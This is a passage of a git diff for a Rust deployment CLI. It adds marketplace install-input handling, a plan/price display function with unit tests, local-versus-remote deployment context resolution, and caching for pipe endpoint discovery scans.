+    config.deploy.target = DeployTarget::Cloud;
+    config.deploy.cloud = Some(cloud_config);
+    Ok(config)
+}
+
+fn marketplace_template_matches_slug(template: &MarketplaceTemplate, slug: &str) -> bool {
+    template.slug.eq_ignore_ascii_case(slug)
+}
+
+fn normalize_install_input_key(key: &str) -> String {
+    match key.trim() {
+        "domain" | "base_domain" => "commonDomain".to_string(),
+        other => other.to_string(),
+    }
+}
+
+fn parse_set_value(entry: &str) -> Result<(String, Value), CliError> {
+    let (key, value) = entry.split_once('=').ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Invalid --set value '{}'. Expected KEY=VALUE.",
+            entry
+        ))
+    })?;
+    let key = normalize_install_input_key(key);
+    if key.trim().is_empty() {
+        return Err(CliError::ConfigValidation(
+            "Invalid --set value: key cannot be empty".to_string(),
+        ));
+    }
+    Ok((key, Value::String(value.trim().to_string())))
+}
+
+fn resolve_install_inputs(
+    mut inputs: Map<String, Value>,
+    domain: Option<&str>,
+    set_values: &[String],
+) -> Result<Map<String, Value>, CliError> {
+    if let Some(value) = inputs.remove("base_domain") {
+        inputs.entry("commonDomain".to_string()).or_insert(value);
+    }
+    if let Some(value) = inputs.remove("domain") {
+        inputs.entry("commonDomain".to_string()).or_insert(value);
+    }
+    if let Some(domain) = domain.map(str::trim).filter(|value| !value.is_empty()) {
+        inputs.insert(
+            "commonDomain".to_string(),
+            Value::String(domain.to_ascii_lowercase()),
+        );
+    }
+    for entry in set_values {
+        let (key, value) = parse_set_value(entry)?;
+        inputs.insert(key, value);
+    }
+    Ok(inputs)
+}
+
+fn apply_install_inputs_to_deploy_form(form: &mut Value, inputs: &Map<String, Value>) {
+    if inputs.is_empty() {
+        return;
+    }
+    if let Some(common_domain) = inputs.get("commonDomain").cloned() {
+        if let Some(obj) = form.as_object_mut() {
+            obj.insert("commonDomain".to_string(), common_domain);
+        }
+    }
+    let Some(stack) = form
+        .get_mut("stack")
+        .and_then(|value| value.as_object_mut())
+    else {
+        return;
+    };
+    let vars = stack
+        .entry("vars".to_string())
+        .or_insert_with(|| Value::Array(Vec::new()));
+    let Some(vars) = vars.as_array_mut() else {
+        return;
+    };
+    for (key, value) in inputs {
+        vars.retain(|entry| entry.get("key").and_then(Value::as_str) != Some(key.as_str()));
+        vars.push(serde_json::json!({ "key": key, "value": value }));
+    }
+}
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // marketplace status
@@ -35,7 +971,9 @@ impl CallableTrait for MarketplaceStatusCommand {
         let rt = tokio::runtime::Builder::new_current_thread()
             .enable_all()
             .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+            })?;
 
         let name = self.name.clone();
 
@@ -135,7 +1073,9 @@ impl CallableTrait for MarketplaceLogsCommand {
         let rt = tokio::runtime::Builder::new_current_thread()
             .enable_all()
             .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+            })?;
 
         let name = self.name.clone();
 
@@ -144,9 +1084,7 @@ impl CallableTrait for MarketplaceLogsCommand {
 
             // First, find the template by name to get its ID
             let templates = client.marketplace_list_mine().await?;
-            let template = templates
-                .iter()
-                .find(|t| t.name == name || t.slug == name);
+            let template = templates.iter().find(|t| t.name == name || t.slug == name);
 
             let template = match template {
                 Some(t) => t,
@@ -197,6 +1135,38 @@ impl CallableTrait for MarketplaceLogsCommand {
 
 // ── helpers ──────────────────────────────────────────
 
+/// Format the plan/price column for display.
+///
+/// Mirrors the server-side `is_free` calculation in
+/// `services::marketplace_access` so the list column never disagrees with the
+/// install-time access check. A template is "free" only when `price` is
+/// zero/absent AND `required_plan_name` is absent/empty/"free"; anything else
+/// requires payment or a plan tier and must be displayed as such.
+fn display_plan(template: &MarketplaceTemplate) -> String {
+    if let Some(price) = template.price {
+        if price > 0.0 {
+            let cycle = template.billing_cycle.as_deref().unwrap_or("/mo");
+            let cycle = match cycle {
+                "one_time" | "one-time" | "once" | "free" => "",
+                "monthly" | "month" | "/mo" => "/mo",
+                "yearly" | "year" | "/yr" => "/yr",
+                "per_install" | "per-install" => "/install",
+                other => other,
+            };
+            return format!("${:.2}{}", price, cycle);
+        }
+    }
+    if let Some(plan) = template
+        .required_plan_name
+        .as_deref()
+        .map(str::trim)
+        .filter(|p| !p.is_empty() && !p.eq_ignore_ascii_case("free"))
+    {
+        return plan.to_string();
+    }
+    "free".to_string()
+}
+
 /// Truncate a string to `max_len` characters, adding "..." if truncated.
 fn truncate(s: &str, max_len: usize) -> String {
     if s.chars().count() > max_len {
@@ -206,3 +1176,234 @@ fn truncate(s: &str, max_len: usize) -> String {
         s.to_string()
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        apply_install_inputs_to_deploy_form, display_plan, marketplace_template_matches_slug,
+        resolve_install_inputs, response_stack_definition,
+    };
+    use crate::cli::stacker_client::{
+        MarketplaceInstallResponse, MarketplaceTemplate, ProjectInfo,
+    };
+    use serde_json::{json, Map, Value};
+
+    #[test]
+    fn install_domain_populates_common_domain_and_stack_vars() {
+        let inputs = resolve_install_inputs(Map::new(), Some("DIFY.COM"), &[])
+            .expect("inputs should resolve");
+        assert_eq!(inputs.get("commonDomain"), Some(&json!("dify.com")));
+
+        let mut form = json!({
+            "stack": {
+                "stack_code": "dify",
+                "vars": []
+            }
+        });
+        apply_install_inputs_to_deploy_form(&mut form, &inputs);
+
+        assert_eq!(form["commonDomain"], json!("dify.com"));
+        assert_eq!(
+            form["stack"]["vars"],
+            json!([{ "key": "commonDomain", "value": "dify.com" }])
+        );
+    }
+
+    #[test]
+    fn install_inputs_normalize_base_domain_and_cli_overrides_win() {
+        let mut config_inputs = Map::new();
+        config_inputs.insert("base_domain".to_string(), json!("example.com"));
+        config_inputs.insert("admin_email".to_string(), json!("admin@example.com"));
+
+        let inputs = resolve_install_inputs(
+            config_inputs,
+            Some("dify.com"),
+            &[
+                "admin_email=owner@dify.com".to_string(),
+                "public_domain=app.dify.com".to_string(),
+            ],
+        )
+        .expect("inputs should resolve");
+
+        assert_eq!(inputs.get("commonDomain"), Some(&json!("dify.com")));
+        assert_eq!(inputs.get("admin_email"), Some(&json!("owner@dify.com")));
+        assert_eq!(inputs.get("public_domain"), Some(&json!("app.dify.com")));
+        assert!(!inputs.contains_key("base_domain"));
+    }
+
+    #[test]
+    fn apply_install_inputs_replaces_existing_vars() {
+        let mut inputs = Map::new();
+        inputs.insert("commonDomain".to_string(), json!("new.example.com"));
+        inputs.insert("admin_email".to_string(), json!("admin@new.example.com"));
+        let mut form = json!({
+            "stack": {
+                "vars": [
+                    { "key": "commonDomain", "value": "old.example.com" },
+                    { "key": "keep", "value": "yes" }
+                ]
+            }
+        });
+
+        apply_install_inputs_to_deploy_form(&mut form, &inputs);
+
+        let vars = form["stack"]["vars"]
+            .as_array()
+            .expect("vars should be array");
+        assert_eq!(
+            vars.iter()
+                .filter(|entry| entry.get("key") == Some(&Value::String("commonDomain".to_string())))
+                .count(),
+            1
+        );
+        assert!(vars.contains(&json!({ "key": "keep", "value": "yes" })));
+        assert!(vars.contains(&json!({ "key": "commonDomain", "value": "new.example.com" })));
+        assert!(vars.contains(&json!({ "key": "admin_email", "value": "admin@new.example.com" })));
+    }
+
+    #[test]
+    fn response_stack_definition_ignores_null_or_missing_definitions() {
+        let mut response = marketplace_install_response(json!({ "stack_definition": null }));
+        assert!(response_stack_definition(&response).is_none());
+
+        response.latest_version = json!({});
+        assert!(response_stack_definition(&response).is_none());
+    }
+
+    #[test]
+    fn response_stack_definition_accepts_object_definitions() {
+        let response = marketplace_install_response(json!({
+            "stack_definition": {
+                "project": { "name": "dify" }
+            }
+        }));
+
+        let result = response_stack_definition(&response);
+        assert!(result.is_some());
+        let yaml = result.unwrap();
+        assert!(yaml.contains("project:"));
+        assert!(yaml.contains("name: dify"));
+    }
+
+    #[test]
+    fn response_stack_definition_accepts_string_definitions() {
+        let compose = "version: '3'\nservices:\n  app:\n    image: nginx\n";
+        let response = marketplace_install_response(json!({
+            "stack_definition": compose
+        }));
+
+        let result = response_stack_definition(&response);
+        assert!(result.is_some());
+        let yaml = result.unwrap();
+        // Should be converted to stacker config format (name added from template slug)
+        assert!(yaml.contains("name: dify"));
+        assert!(yaml.contains("image: nginx"));
+    }
+
+    #[test]
+    fn marketplace_template_slug_match_is_case_insensitive() {
+        let template = marketplace_template("Dify");
+
+        assert!(marketplace_template_matches_slug(&template, "dify"));
+        assert!(!marketplace_template_matches_slug(&template, "wordpress"));
+    }
+
+    fn marketplace_install_response(latest_version: Value) -> MarketplaceInstallResponse {
+        MarketplaceInstallResponse {
+            project: ProjectInfo {
+                id: 92,
+                name: "dify".to_string(),
+                user_id: "user-1".to_string(),
+                metadata: json!({}),
+                created_at: "2026-06-16T14:29:38Z".to_string(),
+                updated_at: "2026-06-16T14:29:38Z".to_string(),
+            },
+            template: marketplace_template("dify"),
+            latest_version,
+            deployment_id: None,
+            authorization: None,
+            idempotency_key: None,
+        }
+    }
+
+    fn marketplace_template(slug: &str) -> MarketplaceTemplate {
+        MarketplaceTemplate {
+            id: None,
+            slug: slug.to_string(),
+            name: slug.to_string(),
+            description: None,
+            category_code: None,
+            tags: json!(null),
+            status: None,
+            required_plan_name: None,
+            price: None,
+            billing_cycle: None,
+            is_from_marketplace: None,
+            creator_name: None,
+            stack_definition: None,
+        }
+    }
+
+    // display_plan must mirror the server's `is_free` calculation in
+    // services::marketplace_access — showing "free" only when both `price`
+    // and `required_plan_name` indicate a free template. Otherwise the CLI
+    // listing lies to users and `stacker install` rejects with "must
+    // purchase this template before installing it".
+    #[test]
+    fn display_plan_shows_price_when_plan_is_free_but_price_is_positive() {
+        // Real production row for `umami`: price=10.0, plan="free" (any
+        // plan tier accepted, but still a $10 one-time purchase).
+        let mut t = marketplace_template("umami");
+        t.price = Some(10.0);
+        t.required_plan_name = Some("free".to_string());
+        t.billing_cycle = Some("one_time".to_string());
+
+        assert_eq!(display_plan(&t), "$10.00");
+    }
+
+    #[test]
+    fn display_plan_treats_empty_and_free_plan_names_as_free() {
+        let mut t = marketplace_template("x");
+        assert_eq!(display_plan(&t), "free");
+
+        t.required_plan_name = Some("".to_string());
+        assert_eq!(display_plan(&t), "free");
+
+        t.required_plan_name = Some("  ".to_string());
+        assert_eq!(display_plan(&t), "free");
+
+        t.required_plan_name = Some("FREE".to_string());
+        assert_eq!(display_plan(&t), "free");
+    }
+
+    #[test]
+    fn display_plan_shows_non_free_plan_when_price_is_zero_or_missing() {
+        let mut t = marketplace_template("x");
+        t.required_plan_name = Some("professional".to_string());
+        assert_eq!(display_plan(&t), "professional");
+
+        t.price = Some(0.0);
+        assert_eq!(display_plan(&t), "professional");
+    }
+
+    #[test]
+    fn display_plan_formats_price_with_billing_cycle() {
+        let mut t = marketplace_template("x");
+        t.price = Some(5.0);
+
+        t.billing_cycle = Some("monthly".to_string());
+        assert_eq!(display_plan(&t), "$5.00/mo");
+
+        t.billing_cycle = Some("yearly".to_string());
+        assert_eq!(display_plan(&t), "$5.00/yr");
+
+        t.billing_cycle = Some("one_time".to_string());
+        assert_eq!(display_plan(&t), "$5.00");
+
+        t.billing_cycle = Some("per_install".to_string());
+        assert_eq!(display_plan(&t), "$5.00/install");
+
+        t.billing_cycle = None;
+        assert_eq!(display_plan(&t), "$5.00/mo");
+    }
+}
diff --git a/src/console/commands/cli/mod.rs b/src/console/commands/cli/mod.rs
index 7ef072d1..e269aa78 100644
--- a/src/console/commands/cli/mod.rs
+++ b/src/console/commands/cli/mod.rs
@@ -1,9 +1,13 @@
 pub mod agent;
 pub mod ai;
 pub mod ci;
+pub mod cloud_firewall;
 pub mod config;
+pub mod connect;
 pub mod deploy;
+pub mod deployment;
 pub mod destroy;
+pub mod explain;
 pub mod init;
 pub mod list;
 pub mod login;
@@ -12,9 +16,11 @@ pub mod marketplace;
 pub mod pipe;
 pub mod proxy;
 pub mod resolve;
+pub mod rollback;
 pub mod secrets;
 pub mod service;
 pub mod ssh_key;
 pub mod status;
 pub mod submit;
 pub mod update;
+pub mod whoami;
diff --git a/src/console/commands/cli/pipe.rs b/src/console/commands/cli/pipe.rs
index adf08061..239b1e94 100644
--- a/src/console/commands/cli/pipe.rs
+++ b/src/console/commands/cli/pipe.rs
@@ -8,14 +8,38 @@
 //! ```
 
 use crate::cli::error::CliError;
+use crate::cli::field_matcher::{DeterministicFieldMatcher, FieldMatcher};
 use crate::cli::fmt;
+use crate::cli::local_pipe_store::{
+    LocalPipeBinding, LocalPipeDiagnostics, LocalPipeDocument, LocalPipeInstance, LocalPipeStore,
+    LocalPipeTemplate, NewLocalPipeDocument,
+};
 use crate::cli::progress;
 use crate::cli::runtime::CliRuntime;
+use crate::cli::service_catalog::ServiceCatalog;
 use crate::cli::stacker_client::{
     AgentCommandInfo, AgentEnqueueRequest, CreatePipeInstanceApiRequest,
-    CreatePipeTemplateApiRequest,
+    CreatePipeTemplateApiRequest, DeploymentCapabilitiesInfo, PipeTemplateInfo,
 };
 use crate::console::commands::CallableTrait;
+use crate::forms::status_panel::{
+    ProbeAttempt, ProbeContainer, ProbeEndpoint, ProbeEndpointsCommandReport, ProbeForm,
+    ProbeOperation, ProbeResource, ProbeResourceItem,
+};
+use chrono::Utc;
+use dialoguer::Password;
+use pipe_adapter_mail::SmtpTargetAdapter;
+use pipe_adapter_sdk::{
+    builtin_registry, selector_matches_builtin_kind, PipeAdapterCatalog, PipeAdapterKind,
+    PipeAdapterMetadata, PipeAdapterPayload, PipeAdapterReference, PipeAdapterRole,
+    PipeTargetAdapter,
+};
+use regex::Regex;
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use std::collections::{BTreeMap, BTreeSet};
+use std::io::{self, IsTerminal};
+use std::path::{Path, PathBuf};
 
 /// Default poll timeout for pipe probe commands (seconds).
 const PROBE_TIMEOUT_SECS: u64 = 90;
@@ -23,6 +47,9 @@ const PROBE_TIMEOUT_SECS: u64 = 90;
 /// Default poll interval (seconds).
 const DEFAULT_POLL_INTERVAL_SECS: u64 = 2;
 
+/// Current on-disk schema version for cached pipe discovery results.
+const PIPE_SCAN_CACHE_VERSION: u32 = 1;
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Deployment hash resolution (mirrors agent module)
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -37,29 +64,98 @@ fn resolve_deployment_hash(
     explicit: &Option<String>,
     ctx: &CliRuntime,
 ) -> Result<String, CliError> {
-    // 1. Explicit flag
+    match resolve_deployment_context(explicit, ctx)? {
+        DeploymentContext::Remote(hash) => Ok(hash),
+        DeploymentContext::Local => Err(CliError::ConfigValidation(
+            "This command requires a remote deployment, but the active target is 'local'.\n\
+             Switch with: stacker target cloud"
+                .to_string(),
+        )),
+    }
+}
+
+/// Deployment context resolved from CLI flags, active target, or lockfiles.
+#[derive(Debug, Clone, PartialEq)]
+pub enum DeploymentContext {
+    /// Remote deployment identified by hash.
+    Remote(String),
+    /// Local mode — no deployment hash, pipes run against local Docker.
+    Local,
+}
+
+impl DeploymentContext {
+    /// Returns `true` when in local mode.
+    pub fn is_local(&self) -> bool {
+        matches!(self, DeploymentContext::Local)
+    }
+
+    /// Returns the deployment hash if remote.
+    pub fn hash(&self) -> Option<&str> {
+        match self {
+            DeploymentContext::Remote(h) => Some(h),
+            DeploymentContext::Local => None,
+        }
+    }
+}
+
+/// Helper that prepends `[local] ` when in local mode.
+pub fn mode_prefix(ctx_mode: &DeploymentContext) -> &'static str {
+    match ctx_mode {
+        DeploymentContext::Local => "\x1b[36m[local]\x1b[0m ",
+        DeploymentContext::Remote(_) => "",
+    }
+}
+
+/// Resolve the deployment context from explicit flag, active target, deployment lock,
+/// or stacker.yml project name.
+///
+/// Resolution order:
+/// 1. Explicit `--deployment` flag value → `Remote(hash)`
+/// 2. `.stacker/active-target` == "local" → `Local`
+/// 3. Deployment lock → `deployment_id` → API lookup → `Remote(hash)`
+/// 4. `stacker.yml` project name → API project lookup → `Remote(hash)`
+fn resolve_deployment_context(
+    explicit: &Option<String>,
+    ctx: &CliRuntime,
+) -> Result<DeploymentContext, CliError> {
+    // 1. Explicit flag always wins
     if let Some(hash) = explicit {
         if !hash.is_empty() {
-            return Ok(hash.clone());
+            return Ok(DeploymentContext::Remote(hash.clone()));
         }
     }
 
     let project_dir = std::env::current_dir().map_err(CliError::Io)?;
 
-    // 2. Deployment lock
+    // 2. Check active target — if "local", return Local immediately
+    if let Some(target) =
+        crate::cli::deployment_lock::DeploymentLock::read_active_target(&project_dir)?
+    {
+        if target == "local" {
+            return Ok(DeploymentContext::Local);
+        }
+    }
+
+    // 3. Deployment lock
     if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? {
         if let Some(dep_id) = lock.deployment_id {
             let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?;
             if let Some(info) = info {
-                return Ok(info.deployment_hash);
+                return Ok(DeploymentContext::Remote(info.deployment_hash));
             }
         }
     }
 
-    // 3. stacker.yml project → active agent (most recent heartbeat)
+    // 4. stacker.yml project → active agent (most recent heartbeat)
     let config_path = project_dir.join("stacker.yml");
     if config_path.exists() {
-        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) {
+        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(None))
+        {
+            if config.deploy.target == crate::cli::config_parser::DeployTarget::Local {
+                return Ok(DeploymentContext::Local);
+            }
+
             if let Some(ref project_name) = config.project.identity {
                 let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?;
                 if let Some(proj) = project {
@@ -69,7 +165,7 @@ fn resolve_deployment_hash(
                                 "\x1b[2mℹ No --deployment specified — using active agent for project '{}': {}\x1b[0m",
                                 project_name, hash
                             );
-                            return Ok(hash);
+                            return Ok(DeploymentContext::Remote(hash));
                         }
                         Err(_) => {}
                     }
@@ -79,12 +175,47 @@ fn resolve_deployment_hash(
     }
 
     Err(CliError::ConfigValidation(
-        "Cannot determine deployment hash.\n\
-         Use --deployment <HASH>, or run from a directory with a deployment lock or stacker.yml."
+        "Cannot determine deployment context.\n\
+         Use --deployment <HASH>, run `stacker target local` for local mode,\n\
+         or run from a directory with a deployment lock or stacker.yml."
             .to_string(),
     ))
 }
 
+fn resolve_local_deployment_context(
+    explicit: &Option<String>,
+    project_dir: &Path,
+) -> Result<Option<DeploymentContext>, CliError> {
+    if explicit
+        .as_ref()
+        .map(|hash| !hash.trim().is_empty())
+        .unwrap_or(false)
+    {
+        return Ok(None);
+    }
+
+    if let Some(target) =
+        crate::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)?
+    {
+        if target == "local" {
+            return Ok(Some(DeploymentContext::Local));
+        }
+    }
+
+    let config_path = project_dir.join("stacker.yml");
+    if config_path.exists() {
+        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(None))
+        {
+            if config.deploy.target == crate::cli::config_parser::DeployTarget::Local {
+                return Ok(Some(DeploymentContext::Local));
+            }
+        }
+    }
+
+    Ok(None)
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Shared agent command execution
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -102,8 +233,7 @@ fn run_agent_command(
         let command_id = info.command_id.clone();
         let deployment_hash = request.deployment_hash.clone();
 
-        let deadline =
-            tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
+        let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
         let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS);
         let mut last_status = "pending".to_string();
 
@@ -125,10 +255,7 @@ fn run_agent_command(
                 .await?;
 
             last_status = status.status.clone();
-            progress::update_message(
-                &pb,
-                &format!("{} [{}]", spinner_msg, status.status),
-            );
+            progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status));
 
             match status.status.as_str() {
                 "completed" | "failed" => return Ok(status),
@@ -152,6 +279,42 @@ fn run_agent_command(
     result
 }
 
+fn validate_pipe_command_capabilities(
+    capabilities: &DeploymentCapabilitiesInfo,
+) -> Result<(), CliError> {
+    if capabilities.features.pipes {
+        return Ok(());
+    }
+
+    let capabilities_list = if capabilities.capabilities.is_empty() {
+        "(none)".to_string()
+    } else {
+        capabilities.capabilities.join(", ")
+    };
+
+    Err(CliError::ConfigValidation(format!(
+        "The active agent for deployment '{}' does not support pipe commands.\n\
+         Agent status: {}\n\
+         Capabilities: {}\n\
+         Update or relink the Status Panel agent so it advertises 'pipes', then retry.",
+        capabilities.deployment_hash,
+        if capabilities.status.is_empty() {
+            "unknown"
+        } else {
+            &capabilities.status
+        },
+        capabilities_list
+    )))
+}
+
+fn ensure_remote_pipe_command_capability(
+    ctx: &CliRuntime,
+    deployment_hash: &str,
+) -> Result<(), CliError> {
+    let capabilities = ctx.block_on(ctx.client.deployment_capabilities(deployment_hash))?;
+    validate_pipe_command_capabilities(&capabilities)
+}
+
 fn print_command_result(info: &AgentCommandInfo, json_output: bool) {
     if json_output {
         if let Ok(j) = serde_json::to_string_pretty(info) {
@@ -162,7 +325,11 @@ fn print_command_result(info: &AgentCommandInfo, json_output: bool) {
 
     println!("Command:  {}", info.command_id);
     println!("Type:     {}", info.command_type);
-    println!("Status:   {} {}", progress::status_icon(&info.status), info.status);
+    println!(
+        "Status:   {} {}",
+        progress::status_icon(&info.status),
+        info.status
+    );
 
     if let Some(ref result) = info.result {
         println!("\n{}", fmt::pretty_json(result));
@@ -177,181 +344,1793 @@ fn print_command_result(info: &AgentCommandInfo, json_output: bool) {
 // stacker pipe scan
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-pub struct PipeScanCommand {
-    pub app: String,
-    pub protocols: Vec<String>,
-    pub capture_samples: bool,
-    pub json: bool,
-    pub deployment: Option<String>,
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct LocalPortBinding {
+    container_port: u16,
+    host_port: Option<u16>,
+    host_ip: Option<String>,
+    protocol: String,
 }
 
-impl PipeScanCommand {
-    pub fn new(
-        app: String,
-        protocols: Vec<String>,
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct LocalContainerInfo {
+    id: String,
+    name: String,
+    image: String,
+    network: String,
+    addresses: Vec<String>,
+    ports: Vec<LocalPortBinding>,
+    status: String,
+    env: BTreeMap<String, String>,
+    labels: BTreeMap<String, String>,
+}
+
+fn default_local_probe_protocols() -> Vec<String> {
+    vec![
+        "openapi".to_string(),
+        "rest".to_string(),
+        "html_forms".to_string(),
+        "graphql".to_string(),
+        "postgres".to_string(),
+        "mysql".to_string(),
+        "redis".to_string(),
+        "rabbitmq".to_string(),
+        "kafka".to_string(),
+        "mcp".to_string(),
+        "websocket".to_string(),
+        "grpc".to_string(),
+    ]
+}
+
+fn default_pipe_create_protocols() -> Vec<String> {
+    vec![
+        "openapi".to_string(),
+        "html_forms".to_string(),
+        "rest".to_string(),
+    ]
+}
+
+fn normalize_protocols(protocols: &[String]) -> Vec<String> {
+    protocols
+        .iter()
+        .map(|protocol| protocol.trim().to_ascii_lowercase())
+        .filter(|protocol| !protocol.is_empty())
+        .collect::<BTreeSet<_>>()
+        .into_iter()
+        .collect()
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+struct PipeDiscoverySelector {
+    mode: String,
+    selector_kind: String,
+    selector: String,
+    deployment_hash: Option<String>,
+    container: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+struct PipeDiscoveryRequest {
+    selector: PipeDiscoverySelector,
+    protocols_requested: Vec<String>,
+    capture_samples: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+struct CachedPipeDiscovery {
+    version: u32,
+    selector: PipeDiscoverySelector,
+    protocols_requested: Vec<String>,
+    capture_samples: bool,
+    cached_at: String,
+    report: ProbeEndpointsCommandReport,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+enum DiscoverySource {
+    Cached,
+    Fresh,
+    Synthetic,
+}
+
+#[derive(Debug, Clone)]
+struct DiscoveryRun {
+    info: AgentCommandInfo,
+    source: DiscoverySource,
+}
+
+impl PipeDiscoveryRequest {
+    fn local(selector: &str, protocols: &[String], capture_samples: bool) -> Self {
+        Self {
+            selector: PipeDiscoverySelector {
+                mode: "local".to_string(),
+                selector_kind: "containers".to_string(),
+                selector: selector.to_string(),
+                deployment_hash: None,
+                container: None,
+            },
+            protocols_requested: normalize_protocols(protocols),
+            capture_samples,
+        }
+    }
+
+    fn remote(
+        deployment_hash: &str,
+        app: &str,
+        container: Option<&str>,
+        protocols: &[String],
         capture_samples: bool,
-        json: bool,
-        deployment: Option<String>,
     ) -> Self {
         Self {
-            app,
-            protocols,
+            selector: PipeDiscoverySelector {
+                mode: "remote".to_string(),
+                selector_kind: "app".to_string(),
+                selector: app.to_string(),
+                deployment_hash: Some(deployment_hash.to_string()),
+                container: container.map(str::to_string),
+            },
+            protocols_requested: normalize_protocols(protocols),
             capture_samples,
-            json,
-            deployment,
         }
     }
 }
 
-impl CallableTrait for PipeScanCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let ctx = CliRuntime::new("pipe scan")?;
-        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+fn pipe_scan_cache_dir(project_dir: &Path) -> PathBuf {
+    project_dir.join(".stacker").join("pipe-scan-cache")
+}
 
-        let protocols = if self.protocols.is_empty() {
-            vec!["openapi".to_string(), "rest".to_string()]
-        } else {
-            self.protocols.clone()
-        };
+fn encode_cache_key<T: Serialize>(value: &T) -> Result<String, CliError> {
+    let payload = serde_json::to_vec(value).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to serialize pipe discovery cache key: {err}"
+        ))
+    })?;
+    let digest = Sha256::digest(payload);
+    Ok(digest.iter().map(|byte| format!("{:02x}", byte)).collect())
+}
 
-        let params = crate::forms::status_panel::ProbeEndpointsCommandRequest {
-            app_code: self.app.clone(),
-            container: None,
-            protocols,
-            probe_timeout: 5,
-            capture_samples: self.capture_samples,
-        };
+fn exact_pipe_scan_cache_path(
+    project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+) -> Result<PathBuf, CliError> {
+    Ok(pipe_scan_cache_dir(project_dir).join(format!("{}.json", encode_cache_key(request)?)))
+}
 
-        let request = AgentEnqueueRequest::new(&hash, "probe_endpoints")
-            .with_parameters(&params)
-            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+fn latest_pipe_scan_cache_path(
+    project_dir: &Path,
+    selector: &PipeDiscoverySelector,
+) -> Result<PathBuf, CliError> {
+    Ok(pipe_scan_cache_dir(project_dir)
+        .join(format!("latest-{}.json", encode_cache_key(selector)?)))
+}
 
-        let info = run_agent_command(
-            &ctx,
-            &request,
-            &format!("Scanning {} for endpoints", self.app),
-            PROBE_TIMEOUT_SECS,
-        )?;
+fn read_cached_pipe_discovery(path: &Path) -> Result<Option<CachedPipeDiscovery>, CliError> {
+    if !path.exists() {
+        return Ok(None);
+    }
 
-        if self.json {
-            print_command_result(&info, true);
-        } else {
-            print_scan_result(&info);
-        }
+    let bytes = std::fs::read(path).map_err(CliError::Io)?;
+    let cached: CachedPipeDiscovery = serde_json::from_slice(&bytes).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to parse pipe discovery cache ({}): {}",
+            path.display(),
+            err
+        ))
+    })?;
 
-        Ok(())
+    Ok((cached.version == PIPE_SCAN_CACHE_VERSION).then_some(cached))
+}
+
+fn cache_entry_to_agent_info(entry: &CachedPipeDiscovery) -> Result<AgentCommandInfo, CliError> {
+    Ok(AgentCommandInfo {
+        command_id: format!("cached-{}", encode_cache_key(&entry.selector)?),
+        deployment_hash: entry.report.deployment_hash.clone(),
+        command_type: "probe_endpoints".to_string(),
+        status: "completed".to_string(),
+        priority: "normal".to_string(),
+        parameters: Some(serde_json::json!({
+            "app_code": entry.selector.selector.clone(),
+            "container": entry.selector.container.clone(),
+            "protocols": entry.protocols_requested.clone(),
+            "capture_samples": entry.capture_samples,
+        })),
+        result: Some(serde_json::to_value(&entry.report).map_err(|err| {
+            CliError::ConfigValidation(format!(
+                "Failed to serialize cached pipe discovery report: {}",
+                err
+            ))
+        })?),
+        error: None,
+        created_at: entry.cached_at.clone(),
+        updated_at: entry.cached_at.clone(),
+    })
+}
+
+fn write_pipe_scan_cache(
+    project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+    report: &ProbeEndpointsCommandReport,
+) -> Result<(), CliError> {
+    let cache_dir = pipe_scan_cache_dir(project_dir);
+    std::fs::create_dir_all(&cache_dir).map_err(CliError::Io)?;
+
+    let entry = CachedPipeDiscovery {
+        version: PIPE_SCAN_CACHE_VERSION,
+        selector: request.selector.clone(),
+        protocols_requested: request.protocols_requested.clone(),
+        capture_samples: request.capture_samples,
+        cached_at: Utc::now().to_rfc3339(),
+        report: report.clone(),
+    };
+    let payload = serde_json::to_vec_pretty(&entry).map_err(|err| {
+        CliError::ConfigValidation(format!("Failed to serialize pipe discovery cache: {}", err))
+    })?;
+
+    let exact_path = exact_pipe_scan_cache_path(project_dir, request)?;
